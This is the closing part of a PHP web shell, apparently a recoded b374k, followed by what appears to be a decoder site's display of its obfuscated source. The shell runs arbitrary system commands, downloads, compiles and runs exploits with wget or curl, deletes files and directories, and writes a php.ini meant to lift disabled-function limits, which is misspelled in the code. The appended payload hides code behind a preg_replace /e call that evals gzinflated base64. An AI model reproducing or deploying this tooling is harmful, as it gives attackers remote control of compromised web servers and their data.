<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php }
else {
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
$file = $_GET['delete'];
@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<br><input class=inputzbut align=left type=submit name=ini value="use to Generate PHP.ini" />
<?php
if(isset($_POST['ini']))
{
$r=fopen('php.ini','w');
$rr=" disbale_functions=none ";
fwrite($r,$rr);
$link="<a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>open this link in new tab to run PHP.INI</u></font></a>";
echo $link;
}
?><center><br><br><div class="info">-=[ b374k recoded by <span class="gaya"><b><a href="https://www.facebook.com/XR1pted">Xr1pt3d</a></b></span> ]=-</div>
<div class="jaya"> © 2013 Xr1pt3d</div></center><br><br>
</script>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lL1LjmtZz2TZL6Dm8OFHthOu85SQyJmwo+cY/uFX+HZbi1tRhQSqEYiIe92lc/aDNJJG4//47+fn+frPf/7n//7Pf9V/nz///LPUfx/7P/+c9d/7p///9++O5z//XP75Z/37s+X6zz///P3yz88t73/+uf/99/i73z9//v17/+ff5z8/ux7//LNP/3/+/dnX31++/39bp///57PW679+/vz+vO1fv7/e/vV5+7/+/vg/fN+/n+f3ebf/w/v8fz3fv9//35/37++bP2/91/Ot//r+f352+/f6/Z+e7/h/f9//r9/P+y3/PPf5z15v93zeP392/PPf5+/P/nNO9svfWfk9M7/veORzjn8++/xnP7ZXfm77++f3/49/zs/2+9/L3+eNzz/y56+///7du+Pxd/72fM7vfv3+/7n+PeNxy/etf/995v9/z8U4x//8zPb7c6+/P/t95rEn/PzP33tu7zz7O+/4+87H3/n+XZff/x4///u7R+7FM2uafx+5D7/v8/u847uOv3f+vVe/a3BkfX5/7jz/1mB8x+3v+5fH35/9Pveev/v9s99nPu/9/7/vti9/7zb28Ofv3X//bs993T65n9d8/u86LP3f6z+/s/1+Ft+/559r1oFn3nPHP3/v//uzGzbh8bd2/PvIHo7v/fw92+/3nzk3vOuRn+W9f9/j97t+z9jvn/++61jba9uY37Ubz3f7W+vf5x/Pl58f7/7zt0+//z1+75Z/3//++/fv+bmxp9mLcT737OunzxQ/9/sefn7s4/jvT/Z6+1vv8Sy3nM8865l78/vZ44w9/9bx90yMz7z9/d3vv4f9Ov7W8vczj9i83/8ez3vmMzmba2zg7/fn97lza9Zi2PQta5j9GT+fPdau3P7Wf/x8/vv33vyuyzjzSz7zk/27/Z3B3/s41vD3M8/YhzX//7uv9zzTJXc8P+cZuWRff2I31tjtPCM/s+X/t7zTOOePnL3733///tn478/fHvw+83b23dmO/ufIPd25H9m34WOyJ8OG/eRO37OOn781+V27YWu2fO8r+3H8vcuZNRj3d/n7u9993LOHnMVxJnLGT+5DbObCHcqd+r2bZ+7EWL8t67v+7dGwCdjxvN/4vfNvHbbsq3/P/cz7j/W+/9mFYW/fOXNL7Of9712xj+ztmrOx5Wd/z/7Yq/iK8d/P2P5PbDdn+cx+//w9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